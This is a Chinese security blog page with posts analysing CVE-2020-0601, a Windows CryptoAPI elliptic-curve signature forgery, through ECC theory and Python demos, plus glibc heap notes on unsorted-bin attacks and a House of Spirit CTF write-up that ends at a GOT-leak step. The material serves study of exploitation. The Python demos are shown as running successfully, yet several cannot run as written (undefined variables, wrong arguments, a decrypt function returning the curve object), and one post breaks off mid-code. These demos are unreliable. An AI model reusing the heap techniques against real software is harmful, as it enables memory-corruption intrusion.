solo thinking tutorial

dyf

The dyf's blog

2020-01-19

CVE-2020-0601分析与ECC原理解析

前言

  近日NSA向微软公布了一个基于ECC加密的漏洞(CVE-2020-0601),该漏洞出现于Windows CryptoAPI(Crypt32.dll)做签名验证的部分,该漏洞可能导致严重的威胁。下面我们来分析一下这个漏洞

ECC原理介绍

  首先我们来学习一下ECC(椭圆曲线加密)的原理。ECC全称为“Ellipse Curve Ctyptography”,是一种基于椭圆曲线数学的公开密钥加密算法。椭圆曲线在密码学中的使用是在1985年由Neal Koblitz和Victor Miller分别独立提出的。与传统的基于大质数分解难题的加密算法不同,该加密方式基于 “离散对数” 这种数学难题。该算法的主要优势是可以使用更小的密钥病提供相当高等级的安全。ECC164位的密钥产生一个安全级,相当于RSA 1024位密钥提供的保密强度,而且计算量较小,处理速度更快,存储空间和传输带宽占用较少。目前我国居民二代身份证正在使用 256 位的椭圆曲线密码,虚拟货币比特币也选择ECC作为加密算法。

数学基础

以下内容我们小学二年级就学过,带领大家复习一下

math

  首先我们来介绍一下射影。传统的几何几何系统中,我们可以在《几何原本》中照到如下定理:

  • 由任意一点到任意一点可作直线。
  • 一条有限线段可以无限延长
  • 凡直角皆相等
  • 三角形内角和为180度
  • 同一平面内一条直线a和另外两条直线b.c相交,若在a某一侧的两个内角的和小于两直角,则b.c两直线经无限延长后在该侧相交

tran

  以上内容属于欧式几何,然后又一些大佬觉得欧几里得说的不对,他们觉得第五条定理不能作为公理,而且三角形的内角和也不是180度。所以,有些强者就建立了新的几何体系,比如,俄国的罗巴切夫斯基提出“至少可以找到两条相异的直线,且都通过P点,并不与直线R相交”代替第五公设,然后与欧氏几何的四个公设结合成一个公理系统,简称“罗氏几何(双曲几何)”。黎曼大佬也插了一脚,他觉得“找不到一条直线可以通过P点,并且不与直线R相交”,于是建立了黎曼几何(椭圆几何).数学就是这样神奇,只要你能自圆其说,满足自洽性,你也能建立自己的体系。

geo

  我们把上面的两种几何体系称之为非欧几何。定义平行线相交于无穷远点P∞,使平面上所有直线都统一为有唯一的交点,那么:

  • 一条直线只有一个无穷远点;一对平行线有公共的无穷远点
  • 任何两条直线有不同的无穷远点
  • 平面上的无穷远点构成的集合组成一条无穷远直线

射影平面可被认为是个具有额外的“无穷远点”之一般平面,平行线会于该点相交。因此,在射影平面上的两条线会相交于一个且仅一个点。

椭圆曲线


  椭圆曲线就是在射影平面上满足魏尔斯特拉斯方程(Weierstrass)的点构成曲线。对于有限域上的椭圆曲线,一般我们用如下方程定义:

equation

  其图像一般如下:

curve

  椭圆曲线的定义也要求曲线是非奇异的(即处处可导的)。几何上来说,这意味着图像里面没有尖点、自相交或孤立点。代数上来说,这成立当且仅当判别式:

disc
不为0.

近世代数


  群(group)是由一种集合以及一个二元运算所组成的,并且符合“群公理”。群公理包含下述四个性质的代数结构。这四个性质是:

  1. 封闭性:对于所有G中a, b,运算a·b的结果也在G中。
  2. 结合律:对于所有G中的a, b和c,等式 (a·b)·c = a· (b·c)成立。
  3. 单位元:存在G中的一个元素e,使得对于所有G中的元素a,总有等式e·a = a·e = a成立。
  4. 对于集合中所有元素存在逆元素

特殊的群

  满足交换律的群称为交换群(阿贝尔群),不满足交换律的群称为非交换群(非阿贝尔群)。

  设 (G, · )为一个群,若存在一G内的元素g,使得group_loog,则称G关于运算“ · ”形成一个循环群

元素的(order):

一个群内的一个元素a之阶(有时称为周期)是指会使得am = e的最小正整数m(其中的e为这个群的单位元素,且am为a的m次幂)。若没有此数存在,则称a有无限阶。有限群的所有元素有有限阶。
一个群G的阶被标记为ord(G)或|G|,而一个元素的阶则标记为ord(a)或|a|。

有限域

  在数学中,有限域(finite field)或伽罗瓦域(Galois field,为纪念埃瓦里斯特·伽罗瓦命名)是包含有限个元素的域。与其他域一样,有限域是进行加减乘除运算都有定义并且满足特定规则的集合。有限域最常见的例子是当 p 为素数时,整数对 p 取模。有限域的元素个数称为它的阶(order)。可以看出域是满足更多运算的群。

这里我们规定一个有限域Fp

  • 取大质数p,则有限域中有p-1个有限元:0,1,2…p-1
  • Fp上的加法为模p加法a+b≡c(mod p)
  • Fp上的乘法为模p乘法a×b≡c(mod p)
  • Fp上的除法就是乘除数的乘法逆元a÷b≡c(mod p),即 a×b^(-1)≡c (mod p)
  • Fp的乘法单位元为1,零元为0
  • Fp域上满足交换律,结合律,分配律

  在这个域上我们希望使用椭圆曲线构造加密函数,但是考虑到曲线本身是连续的,不适合做加密,因此我们得想办法在椭圆曲线上构造一种离散的运算。这是我们可以构造一个阿贝尔群:

给定曲线curve,P,Q为曲线上的点,我们规定加法:

  实P + Q = R是曲线上点的加法运算,任意取椭圆曲线上两点P、Q(若P、Q两点重合,则作P点的切线),作直线交于椭圆曲线的另一点R’,过R’做y轴的平行线交于R,定义P+Q=R。这样,加法的和也在椭圆曲线上,并同样具备加法的交换律、结合律:

add

若P与Q点重合,则求P的切线交曲线的另一点为R‘。若有k个相同的点P相加,如3P = P + P + P

3p

下面我们利用小学二年级就学过的微积分的知识求一下相关方程:

  • 无穷远点 O∞是零元,有O∞+ O∞= O∞,O∞+P=P
  • P(x,y)的负元是 (x,-y mod p)= (x,p-y) ,有P+(-P)= O∞
  • P(x1,y1),Q(x2,y2)的和R(x3,y3) 有如下关系:
1
2
3
4
5
6
7
8
9
x3≡(k**2-x1-x2)(mod p)

y3≡(k(x1-x3)-y1)(mod p)

这里对等式两边求全微分,即可求出k = dy/dx
若P=Q 则 k=((3x**2+a)/2y1)mod p

这里PQ为不同的点,直接计算斜率
若P≠Q,则k=(y2-y1)/(x2-x1) mod p

若kP = O ∞ ,那么k就是点P的阶(order)

这个就是上面群里元素的阶的定义

上面这个椭圆曲线上点的加法运算,就构成了一个阿贝尔群,数学基础到此结束。

ElGamal离散对数密码体制


  我们来介绍一下基于离散对数的加密算法,首先密钥与公钥的生成步骤如下:

公钥密钥生成:

  1. Alice首先构造一条椭圆曲线E,在曲线上选择一点G作为生成元,并求G的阶为n,要求n必须为质数。此时构成了一个循环群\
  2. Alice选择一个私钥k (k < n),生成公钥 Q = kG
  3. Alice将公钥组E、Q、G发送给Bob

加密过程

  1. Bob收到信息后,将明纹编码为M,M为曲线上一点,并选择一个随机数r(r < n, n为G的阶)
  2. Bob计算点Cipher1与Cipher2即两段密文,计算方法如下
    • Cipher1 = M + rQ
    • Cipher2 = rG
  3. Bob把Cipher1和Cipher2发给Alice

解密过程

  1. Alice收到密文后,为了获得M,只需要Cipher1 - k · Cipher2,因为
    $$
    Cipher1 - k*Cipher2 = M + rQ - krG = M + rkG - krG = M
    $$
  2. 将M解码即可

技术要求

  在选择参数时有一下要求:

  • 大质数p越大安全性越好,但是速度会降低,200位左右可以满足一般安全要求
  • n应为质数
  • 椭圆曲线上所有点的个数m与n相除的商的整数部分为h,h≤4;p≠n×h ;pt≠1(mod n) (1≤t<20)
  • 满足椭圆曲线的判别式

代码实现

  接下来我们用python写个简单的demo加深一下理解。

解释一下几个基本函数:

这个函数是扩展欧几里得算法,就是我们常说的辗转相除法求出最大公因数后反向带入的过程,返回最大公因数a和满足sa + tb = gcd(a,b)(这是贝祖等式)的s0和t0。gcd(a, b)函数的功能是求a,b的最大公因数。

1
2
3
4
5
6
7
8
9
# Extended GCD
def egcd(a, b):
s0, s1, t0, t1 = 1, 0, 0, 1
while b > 0:
q, r = divmod(a, b)
a, b = b, r
s0, s1, t0, t1 = s1, s0 - q * s1, t1, t0 - q * t1
pass
return s0, t0, a

inv()这个函数实现了求乘法逆元的功能,使用扩展欧几里得算法。

1
2
3
4
5
6
# Get invert element
def inv(n, q):
# div on ç a/b mod q as a * inv(b, q) mod q
# n*inv % q = 1 => n*inv = q*m + 1 => n*inv + q*-m = 1
# => egcd(n, q) = (inv, -m, 1) => inv = egcd(n, q)[0] (mod q)
return egcd(n, q)[0] % q

sqrt()这个函数实现了开平方的算法,需要注意的是这里的乘法运算是有限域上的模乘,因此采用试根的方式。q - i 与 i 构成一对相反数。

1
2
3
4
5
6
7
8
def sqrt(n, q):
# sqrt on PN module: returns two numbers or exception if not exist
assert n < q
for i in range(1, q):
if i * i % q == n:
return (i, q - i)
pass
raise Exception("not found")

下面我们构造椭圆曲线类EC:

  • 构造函数中a,b为EC的参数,p为模p有限域的大质数
  • is_valid(self, p)判断点p是否在曲线上
  • at(self, x),求出党x为横坐标是对应的y值
  • neg(self, p),求关于x轴对称的点
  • add(self, p1, p2),求点p1,p2在椭圆曲线上的加法
  • mul(self, p, n),把p点累加n次
  • order(self, g),求g点的阶
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
# System of Elliptic Curve
class EC(object):

# elliptic curve as: (y**2 = x**3 + a * x + b) mod q
# - a, b: params of curve formula
# - p: prime number
def __init__(self, a, b, p):
assert 0 < a and a < p and 0 < b and b < p and p > 2
assert (4 * (a ** 3) + 27 * (b ** 2)) % p != 0
self.a = a
self.b = b
self.p = p
# just as unique ZERO value representation for "add": (not on curve)
self.zero = Coord(0, 0)
pass

# Judge if the coordinate in the curve
def is_valid(self, p):
if p == self.zero:
return True
l = (p.y ** 2) % self.p
r = ((p.x ** 3) + self.a * p.x + self.b) % self.p
return l == r

def at(self, x):
# find points on curve at x
# - x: int < p
# - returns: ((x, y), (x,-y)) or not found exception

assert x < self.p
ysq = (x ** 3 + self.a * x + self.b) % self.p
y, my = sqrt(ysq, self.p)
return Coord(x, y), Coord(x, my)

def neg(self, p):
# negate p
return Coord(p.x, -p.y % self.p)

# 1.无穷远点 O∞是零元,有O∞+ O∞= O∞,O∞+P=P
# 2.P(x,y)的负元是 (x,-y mod p)= (x,p-y) ,有P+(-P)= O∞
# 3.P(x1,y1),Q(x2,y2)的和R(x3,y3) 有如下关系:
# x3≡k**2-x1-x2(mod p)
# y3≡k(x1-x3)-y1(mod p)
# 若P=Q 则 k=(3x2+a)/2y1mod p
# 若P≠Q,则k=(y2-y1)/(x2-x1) mod p
def add(self, p1, p2):
# of elliptic curve: negate of 3rd cross point of (p1,p2) line
if p1 == self.zero:
return p2
if p2 == self.zero:
return p1
if p1.x == p2.x and (p1.y != p2.y or p1.y == 0):
# p1 + -p1 == 0
return self.zero
if p1.x == p2.x:
# p1 + p1: use tangent line of p1 as (p1,p1) line
k = (3 * p1.x * p1.x + self.a) * inv(2 * p1.y, self.p) % self.p
pass
else:
k = (p2.y - p1.y) * inv(p2.x - p1.x, self.p) % self.p
pass
x = (k * k - p1.x - p2.x) % self.p
y = (k * (p1.x - x) - p1.y) % self.p
return Coord(x, y)

def mul(self, p, n):
# n times of elliptic curve
r = self.zero
m2 = p
# O(log2(n)) add
while 0 < n:
if n & 1 == 1:
r = self.add(r, m2)
pass
n, m2 = n >> 1, self.add(m2, m2)
pass
return r

def order(self, g):
# order of point g
assert self.is_valid(g) and g != self.zero
for i in range(1, self.p + 1):
if self.mul(g, i) == self.zero:
return i
pass
raise Exception("Invalid order")
pass

然后我们实现椭圆曲线的加密算法 – ElGmamal

  • 构造函数生成曲线ec,生成元g,以及g的阶n
  • gen(self, priv),生成公钥pub
  • enc(self, plain, pub, r),把明文plain(已编码为曲线上的点)进行加密
  • dec(self, cipher, priv),解密的明文
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
class ElGamal(object):
# ElGamal Encryption
# pub key encryption as replacing (mulmod, powmod) to (ec.add, ec.mul)
# - ec: elliptic curve
# - g: (random) a point on ec

def __init__(self, ec, g):
assert ec.is_valid(g)
self.ec = ec
self.g = g
self.n = ec.order(g)
pass

def gen(self, priv):
# generate pub key
# - priv: priv key as (random) int < ec.q
# - returns: pub key as points on ec

return self.ec.mul(g, priv)

def check(self, public, recv_public):
assert public[1] == recv_public[1]
print("pub == fake_pub")

def enc(self, plain, pub, r):
# encrypt
# - plain: data as a point on ec
# - pub: pub key as points on ec
# - r: randam int < ec.q
# - returns: (cipher1, ciper2) as points on ec
assert self.ec.is_valid(plain)
assert self.ec.is_valid(pub)
return (self.ec.mul(self.g, r), self.ec.add(plain, self.ec.mul(pub, r)))

def dec(self, cipher, priv, public, recv_public):
# decrypt
# - chiper: (chiper1, chiper2) as points on ec
# - priv: private key as int < ec.q
# - returns: plain as a point on ec

self.check(public, recv_public)
c1, c2 = cipher
assert self.ec.is_valid(c1) and ec.is_valid(c2)
return self.ec

最后写个main函数验证一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if __name__ == "__main__":
# shared elliptic curve system of examples
ec = EC(1, 18, 19)
g, _ = ec.at(7)
assert ec.order(g) <= ec.p

# ElGamal enc/dec usage
eg = ElGamal(ec, g)

# mapping value to ec point
# "masking": value k to point ec.mul(g, k)
# ("imbedding" on proper n:use a point of x as 0 <= n*v <= x < n*(v+1) < q)
mapping = [ec.mul(g, i) for i in range(eg.n)]
plain = mapping[7]

priv = 5
pub = eg.gen(priv)

cipher = eg.enc(plain, pub, 15)
decoded = eg.dec(cipher, priv)

assert decoded == plain
assert cipher != pub
print("Success!")

运行结果如下:

result

基于椭圆曲线的数字签名算法ECDSA


  签名算法与上面的加密算法类似,下面我们来看一下过程:

  1. 选择一条椭圆曲线Ep(a,b),和基点G;
  2. 选择私有密钥k(k<n,n为G的阶),利用基点G计算公开密钥Q=kG
  3. 产生一个随机整数r(r<n),计算点R=rG
  4. 密文为message,计算SHA1(message)做为hash;
  5. 计算S≡r^-1 *( Hash + k * R.x)(mod n); 这里的R.x为R的横坐标
  6. (R.x, S)做为签名值,如果R和S其中一个为0,重新从第3步开始执行

注:这里的r^-1指的是r的乘法逆元

验证签名:

  1. 接收方在收到消息m和签名值(R.x, S)后,进行以下运算
  2. 计算明文hash:hash = SHA1(m)
  3. 计算P点:P = S^-1 *(hash*G + R.x*Q)
  4. 若P点的横坐标P.x == R.x,则说明校验成功。

为什么会这样?
下面我们来推导一下:

$$
P = S^-1 (hashG + R.xQ) ·····1
$$
$$
Q = k
G ·····2
$$
$$
S = r^-1 (hash + kR.x) ·····3
$$
$$
R = rG ·····4
$$
联立1,2,得:
$$
P = S^-1
(hash + kR.x)G ·····5
$$
这时候将3式带入5,即可得:
$$
P = r*G ·····6
$$
这个时候我们对比4,6式,发现了这个神奇的结论:
$$
P = R
$$
因此,在校验的时候比较P.x与R.x即可验证签名

  我们已经完成数学上的推导,下面我们写个demo实现一下:

  • 构造函数初始化椭圆曲线EC,生成元g,生成元的阶n
  • gen(self, priv)生成公钥Q
  • sign(self, hashval, priv, r)对hashval进行签名,返回签名(R.x, S)
  • validate(self, hashval, sig, pub)对签名进行验证,检验hashval是否被篡改
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
class DSA(object):
# ECDSA
# - ec: elliptic curve
# - g: a point on ec

def __init__(self, ec, g):
self.ec = ec
self.g = g
self.n = ec.order(g)
pass

def gen(self, priv):
# generate pub key
assert 0 < priv and priv < self.n
return self.ec.mul(self.g, priv)

def sign(self, hashval, priv, r):
# generate signature
# - hashval: hash value of message as int
# - priv: priv key as int
# - r: random int
# - returns: signature as (int, int)

assert 0 < r and r < self.n
R = self.ec.mul(self.g, r)
# (R.x, S) S = r^-1 * (hashval + R.x * k)
return (R.x, inv(r, self.n) * (hashval + R.x * priv) % self.n)

def validate(self, hashval, sig, pub):
# validate signature
# - hashval: hash value of message as int
# - sig: signature as (int, int)
# - pub: pub key as a point on ec

assert self.ec.is_valid(pub)
assert self.ec.mul(pub, self.n) == self.ec.zero
# w = S^-1
w = inv(sig[1], self.n)
u1, u2 = hashval * w % self.n, sig[0] * w % self.n
p = self.ec.add(self.ec.mul(self.g, u1), self.ec.mul(pub, u2))
return p.x % self.n == sig[0]
pass

我们跑一下下面这段代码试试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if __name__ == "__main__":
# shared elliptic curve system of examples
ec = EC(1, 18, 19)
g, _ = ec.at(7)
assert ec.order(g) <= ec.q

# ECDSA usage
dsa = DSA(ec, g)

priv = 11
pub = eg.gen(priv)
hashval = 128
r = 7
sig = dsa.sign(hashval, priv, r)
log("sig", sig)
assert dsa.validate(hashval, sig, pub)
print('Success!')
pass

sign

我们可以看到已经验证成功了。

漏洞复现


  终于到了分析漏洞的时候了,这个漏洞导致的原因其实很简单,我们注意到在生成公钥的一部分Q = k*G的时候k我们是不知到的,而且求解难度很大。但是我们在签名的时候需要用私钥签名,怎么伪造签名呢?假如在对公钥做校验的时候我们没有检测G的值,只检查了Q那么我么就可以假装我们知道私钥。此时:

这里的e是乘法单位元,相当于整数乘法里的1

  • Q = k*G
  • Q’ = e*Q = Q

也就是说,我可以直接把“1”作为私钥,然后再去签名:

  • 公钥:(Q, G)
  • 原签名:(R.x,S)

$$
Q = kG
$$
$$
R = r
Q
$$
$$
S = r^{-1} (hash + R.xk)
$$

  • 伪造公钥:(Q’,G’)
  • 伪造签名:(R’.x, S’)

$$
Q’ = 1Q = Q
$$
$$
R’ = r
Q’ = rQ
$$
$$
S’ = r^{-1}
(hash + R’.x*1)
$$

那么我们来分析验证过程:

$$
P = S^{-1} hashG + S^{-1} R.xQ
$$

假如我们把S‘和R‘.x以及公钥(G’, Q)代入后可以得到

$$
S^{-1} = r(hash + Q.x)^{-1}
$$
$$
P = S^{-1}
(hashQ + Q.xQ)
$$
进一步代入S^-1得:
$$
P = r(hash + Q.x)^{-1} (hash + Q.x)Q = rQ = R
$$

我们看到验证通过。系统在验证公钥得生成元Q == Q‘之后,并没有进一步验证生成元G。这就是CVE-2020-0601漏洞利用的原理,crypt32.dll在做校验时,只检查了Q,因此我们用单位元伪造私钥后进行的签名会被验证通过。

  下面我们写个脚本验证一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
if __name__ == "__main__":
# shared elliptic curve system of examples
ec = EC(1, 18, 19)
g, _ = ec.at(7)
assert ec.order(g) <= ec.p

# ECDSA usage
dsa = DSA(ec, g)
# G' = Q = k*G
fake = DSA(ec, ec.mul(g, 11))
# print(g, ec.mul(g, 1))

priv = 11
pub = eg.gen(priv)

# R‘ = r*Q’ = 1 * Q = Q
# 因此fake_pub = pub
fake_pub = pub
log("fake_pub",fake_pub )
log("pub", pub)

hashval = 128
r = 7

# 随机数r设置为不同的值
sig = dsa.sign(hashval, priv, 2)
fsig = fake.sign(hashval, 1, 7)
log("sig", sig)
log("fsig", fsig)

assert sig != fsig

# 分别进行签名校验
assert dsa.validate(hashval, sig, pub)
assert fake.validate(hashval, fsig, fake_pub)

print('Success!')

pass

sign_result
  运行结果如下,我们可以看到用不同的私钥加密获得的签名是不同的,但是由于公钥的生成元G被我们篡改,所以验证也会通过。

  最后我们提供一个能用的poc,仅供学习交流。

总结


  这个漏洞的原理其实十分简单,就是小学二年级学过的代数。我们应该注意密码的完整性的校验,更要好好学数学。

参考

维基百科

安全客
ECC原理解析

2020-01-18

Unsorted-bin Attack

前言

  这两天学习Unsorted-bin Attack的过程中遇到了一些令我十分困惑的细节,我只好一边读glibc源码一边排查问题,记录一下我的心路历程,免得下次遇到又忘了。

Unsorted-bin Attack

  Unsorted-bin Attack的主要原理是通过修改unsorted-bin chunk的bk指针,然后可以将某段内存修改为一个很大的数。其实就是修改unsorted bin的front end chunk的bk指针,然后重新请求分配该chunk这个时候会发生一下事情:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
size = chunksize (victim);
mchunkptr next = chunk_at_offset (victim, size);

if (__glibc_unlikely (size <= 2 * SIZE_SZ)
|| __glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): invalid size (unsorted)");
if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)
|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
malloc_printerr ("malloc(): invalid next size (unsorted)");
if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
if (__glibc_unlikely (bck->fd != victim)
|| __glibc_unlikely (victim->fd != unsorted_chunks (av)))
malloc_printerr ("malloc(): unsorted double linked list corrupted");
if (__glibc_unlikely (prev_inuse (next)))
malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
................
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
2020-01-08

House of spirit

原理解释

  House of spirit是the malloc Maleficarum的一种技术。该技术的核心思想是伪造fastbin chunk并将其释放,从而达到分配任意地址的chunk的目的。
想要伪造fastbin fake chunk,主要需要绕过free时对其进行的检查:

  • fake chunk的ISMMAP位不能为1,因为free时,如果是mmap的chunk,则会进行单独处理。
  • fake chunk的地址需要对齐,MALLOC_ALIGN_MASK
  • fake chunk的size大小需要满足fastbin的要求,也需要对齐
  • fake chunk的nextchunk的大小不能小于2 * size_se,也不能大于av->system_mem
  • fake chunk对应的fastbin head不能为该chunk,否则会触发double free

相关源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
 if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */

// 检查大小是否大于最小的chunk,是否对齐
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");

check_inuse_chunk(av, p);

/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
// 检查该chunk是否符合fastbin
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())) {

// 检查nextchunk的size是否小于最小chunk要求,或大于系统最大chunk
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
<= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */
// 检查是否有lock
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}

if (fail)
malloc_printerr ("free(): invalid next size (fast)");
}
// 将chunk的mem部分设置为perturb_byte
free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);

// 设置fastbin标记位
atomic_store_relaxed (&av->have_fastchunks, true);

// 获取对应fastbin的头指针
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);

/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
// 使用原子操作将该chunk插入其中
mchunkptr old = *fb, old2;

if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
// 检查上一次插入的chunk是否与p相同,若相同则为double free
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = old;
*fb = p;
}
else
do
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = old2 = old;
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
!= old2);

/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
allocated again. */
// 确保插入前后相同
if (have_lock && old != NULL
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
malloc_printerr ("invalid fastbin entry (free)");
}

下面我们来做一道题看看

OREO

Basic Info:

1
2
3
4
5
6
[*] '/ctf/work/pwn/fastbin/oreo/oreo'
Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

该程序的大概逻辑是这样的,这是一个枪支系统。枪支的结构体如下:

1
2
3
4
5
00000000 rifle           struc ; (sizeof=0x38, mappedto_5)
00000000 descript db 25 dup(?)
00000019 name db 27 dup(?)
00000034 prev dd ? ; offset
00000038 rifle ends

大概功能如下:

  1. 添加枪支功能
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void add_rifles(void)
{
int32_t iVar1;
undefined4 uVar2;
int32_t in_GS_OFFSET;
int32_t var_10h;
int32_t var_ch;

uVar2 = _rifles_head;
iVar1 = *(int32_t *)(in_GS_OFFSET + 0x14);
_rifles_head = sym.imp.malloc(0x38);
if (_rifles_head == 0) {
sym.imp.puts("Something terrible happened!");
} else {
*(undefined4 *)(_rifles_head + 0x34) = uVar2;
sym.imp.printf("Rifle name: ");
sym.imp.fgets(_rifles_head + 0x19, 0x38, _section..bss);
add_End(_rifles_head + 0x19);
sym.imp.printf("Rifle description: ");
sym.imp.fgets(_rifles_head, 0x38, _section..bss);
add_End(_rifles_head);
_rifles_counts = _rifles_counts + 1;
}
if (iVar1 != *(int32_t *)(in_GS_OFFSET + 0x14)) {
// WARNING: Subroutine does not return
sym.imp.__stack_chk_fail();
}
return;
}

大致流程是首先将rifles_head储存起来,然后分配一个新的chunk来储存rifles struct,把rifles_head存到0x34的位置把name存到0x19的位置,desc存到开始的位置,然后rifles_count(0x804a2a4)++.
这样以来rifles就形成了一条链表。

我们注意到name和desc读入的size都是0x38这里明显存在溢出。

其中add_End()函数是想字符串尾加一个‘\0’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void add_End(int32_t arg_8h)
{
int32_t iVar1;
int32_t iVar2;
char *pcVar3;
int32_t in_GS_OFFSET;
int32_t var_1ch;
int32_t var_10h;
int32_t var_ch;

iVar1 = *(int32_t *)(in_GS_OFFSET + 0x14);
iVar2 = sym.imp.strlen(arg_8h);
pcVar3 = (char *)(arg_8h + iVar2 + -1);
if (((uint32_t)arg_8h <= pcVar3) && (*pcVar3 == '\n')) {
*pcVar3 = '\0';
}
if (iVar1 != *(int32_t *)(in_GS_OFFSET + 0x14)) {
// WARNING: Subroutine does not return
sym.imp.__stack_chk_fail();
}
return;
}
  1. 查看所有枪支
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void show_added_rifles(void)
{
int32_t iVar1;
int32_t in_GS_OFFSET;
int32_t var_14h;
int32_t var_10h;
int32_t var_ch;

iVar1 = *(int32_t *)(in_GS_OFFSET + 0x14);
sym.imp.printf("Rifle to be ordered:\n%s\n", 0x8048bb0);
var_14h = _rifles_head;
while (var_14h != 0) {
sym.imp.printf("Name: %s\n", var_14h + 0x19);
sym.imp.printf("Description: %s\n", var_14h);
sym.imp.puts(0x8048bb0);
var_14h = *(int32_t *)(var_14h + 0x34);
}
if (iVar1 != *(int32_t *)(in_GS_OFFSET + 0x14)) {
// WARNING: Subroutine does not return
sym.imp.__stack_chk_fail();
}
return;
}

该函数会遍历rifles链表,然后打印name和desc

  1. free所有的rifles
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void order_rifles(void)
{
int32_t iVar1;
int32_t iVar2;
int32_t in_GS_OFFSET;
int32_t var_14h;
int32_t var_10h;
int32_t var_ch;

iVar1 = *(int32_t *)(in_GS_OFFSET + 0x14);
var_14h = _rifles_head;
if (_rifles_counts == 0) {
sym.imp.puts("No rifles to be ordered!");
} else {
while (var_14h != 0) {
iVar2 = *(int32_t *)(var_14h + 0x34);
sym.imp.free(var_14h);
var_14h = iVar2;
}
_rifles_head = 0;
_order_counts = _order_counts + 1;
sym.imp.puts("Okay order submitted!");
}
if (iVar1 != *(int32_t *)(in_GS_OFFSET + 0x14)) {
// WARNING: Subroutine does not return
sym.imp.__stack_chk_fail();
}
return;
}

这里我们可以看到这个函数会free链表上所有的rifles结构,但是没有设置为NULL。

  1. leave message
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void leave_message(void)
{
int32_t iVar1;
int32_t in_GS_OFFSET;
int32_t var_ch;

iVar1 = *(int32_t *)(in_GS_OFFSET + 0x14);
sym.imp.printf("Enter any notice you\'d like to submit with your order: ");
sym.imp.fgets(_message, 0x80, _section..bss);
add_End(_message);
if (iVar1 != *(int32_t *)(in_GS_OFFSET + 0x14)) {
// WARNING: Subroutine does not return
sym.imp.__stack_chk_fail();
}
return;
}

这里会向*message(0x804a2a8 -> 0x804a2c0)这里写入一段内容,因此我们可以想办法控制message所存储的指针来实现任意写的效果。

利用思路

  1. 首先,我们可以覆盖node -> prev,把printf的got地址写入该字段,然后通过show_rifles函数泄漏printf的实际地址。
